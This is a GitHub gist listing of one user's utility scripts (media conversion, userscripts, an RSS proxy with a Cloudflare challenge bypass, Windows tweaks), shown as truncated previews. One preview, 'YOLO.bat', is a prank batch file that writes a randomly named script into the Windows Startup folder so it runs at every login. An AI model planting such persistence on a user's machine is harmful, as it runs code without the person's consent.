Skip to content

Instantly share code, notes, and snippets.

@Albirew
Albirew / proxrss.php
Created June 4, 2017 12:42
A simple RSS proxy featuring a cloudflare bypass that may or may not work
<?php
/* cloudflare part by asifpk
* seduce.gravity@gmail.com */
function OpenURLcloudflare($url) {
//get cloudflare ChallengeForm
$page = OpenURL($url);
$data = explode('challenge-form',$page);
$data = explode('=', $data[1]);
$data = explode(';', $data[1]);
$value = $data[0];
@Albirew
Albirew / convertion-audio.bat
Created December 8, 2023 18:23
ffmpeg scripts
@echo off
set binpath=%~dp0
if not exist "%binpath%\ffmpeg.exe" echo ffmpeg not found. exiting... & echo. & pause & exit 1
:do
if [%1]==[] goto noarg
"%binpath%\ffmpeg.exe" -hide_banner -i %1 -vn "%~dpn1.mp3"
IF %ERRORLEVEL% NEQ 0 pause
::"%binpath%\ffmpeg.exe" -i %1 -c:v libaom-av1 -preset 2 -crf 30 "%~dpn1[AV1].mkv"
::"%binpath%\ffmpeg.exe" -hwaccel cuda -hwaccel_output_format cuda -i %1 -c:v hevc_nvenc -map 0 "%~dpn1[HEVC].mkv"
shift /1
@Albirew
Albirew / youtube-dl-all.bat
Created August 16, 2023 11:37
some scripts for yt-dlp
@echo off
set savepath=%userprofile%\Desktop
:: download provided URLs in both video and audio format
set binpath=%~dp0
cd %savepath%
echo Usage: yt-dlp.exe [OPTIONS] URL [URL...]
echo --geo-bypass-country CODE Force bypass geographic restriction with ISO 3166-2 country code
echo.
set /P command=Enter options and video URL:
@Albirew
Albirew / unlazyload.user.js
Created July 9, 2023 20:17
Unlazy-Load Images userscript
// ==UserScript==
// @name Unlazy-Load Images
// @namespace https://greasyfork.org/en/users/85671-jcunews
// @version 0.2b
// @license AGPL v3
// @author jcunews
// @description remove shitty lazyload
// @exclude http*://*gog.com/*
// @include http*://*mangasushi.org/*
// @include http*://*www.webtoons.com/*
@Albirew
Albirew / org.e(x)hentai.helper.user.js
Created July 9, 2023 20:11
e(-/x)hentai helper userscript
// ==UserScript==
// @name E(X)Hentai Helper
// @description Links between E-Hentai and ExHentai page, and also links user to ExHentai automatically if gallery is "removed" and adds "view later" function
// @namespace org.e(x)hentai.helper
// @version 4.10
// @icon https://e-hentai.org/favicon.ico
// @resource exCSS http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/base/jquery-ui.css
// @resource jqueryui https://code.jquery.com/ui/1.12.0/jquery-ui.min.js
// @include https://upload.e-hentai.org/*
@Albirew
Albirew / ipmi.php
Last active November 29, 2022 17:10
affichage IPMI vers une page web
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>IPMI Midgard</title>
<meta name="description" content="page IPMI du serveur Albirew Midgard">
<style type="text/css">
tr:nth-child(even) {background-color: #f2f2f2;}
table, .list{
@Albirew
Albirew / YOLO.bat
Last active September 23, 2022 01:53
evolution of a "harmless" troll batch file (see revisions)
@echo off
:: YOLO v4 - ARMAGETROLL
set troll=%random%%random%.bat
cd "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
echo @echo off > %troll%
echo setlocal ENABLEDELAYEDEXPANSION >> %troll%
echo set troll=%%random%%%%random%%.bat >> %troll%
echo set lol=0 >> %troll%
echo :pwn >> %troll%
echo set /a lol=%%lol%%+1 >> %troll%
@Albirew
Albirew / win11-new-mouse-menu.bat
Last active July 19, 2022 21:10
Windows 11 : Control context menu and explorer command bar
@echo off
:: First, we escalate privileges of the terminal
:checkPrivileges
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges )
:getPrivileges
if '%1'=='ELEV' (echo ELEV & shift /1 & goto gotPrivileges)
echo.
echo Invoking UAC for Privilege Escalation
@Albirew
Albirew / InviReg.user.js
Last active August 20, 2020 22:38 — forked from Tazeki/Reghook.js
YouTube / Invidious RegEx based URL conversion.
// ==UserScript==
// @name InviReg - YouTube->Invidious
// @author Albirew, heavily based on script by Tazeki
// @namespace https://gist.github.com/Albirew/
// @description The smallest, possibly most useful YouTube-Invidious conversion script. RegEx based. Sends any /www.youtube.com/ sites to Invidious before page load. Does not affect /other.youtube.com/, (gaming.youtube.com, creatoracademy.youtube.com, etc.).
// @include *youtube*
// @version 1.1c
// @icon https://invidious.fdn.fr/favicon.ico
// @grant none
// @run-at document-start
@echo off
:: permet de chiffrer un fichier pdf avec pdftk simplement en lachant le fichier pdf sur ce bat.
:: vous aurez besoin de pdftk: http://www.accesspdf.com/pdftk/
:: utile pour faire chier les administrations en bloquant le copier-coller et en permettant que l'impression
:: si vous voulez placer ce fichier en dehors du dossier de pdftk, veuillez remplacer %~dp0 dans la ligne suivante
set pdftk=%~dp0
:: ensuite, votre mot de passe pour chiffrer votre PDF
set pwd=Putain de mot de passe en or massif 24 carats serti de diamants!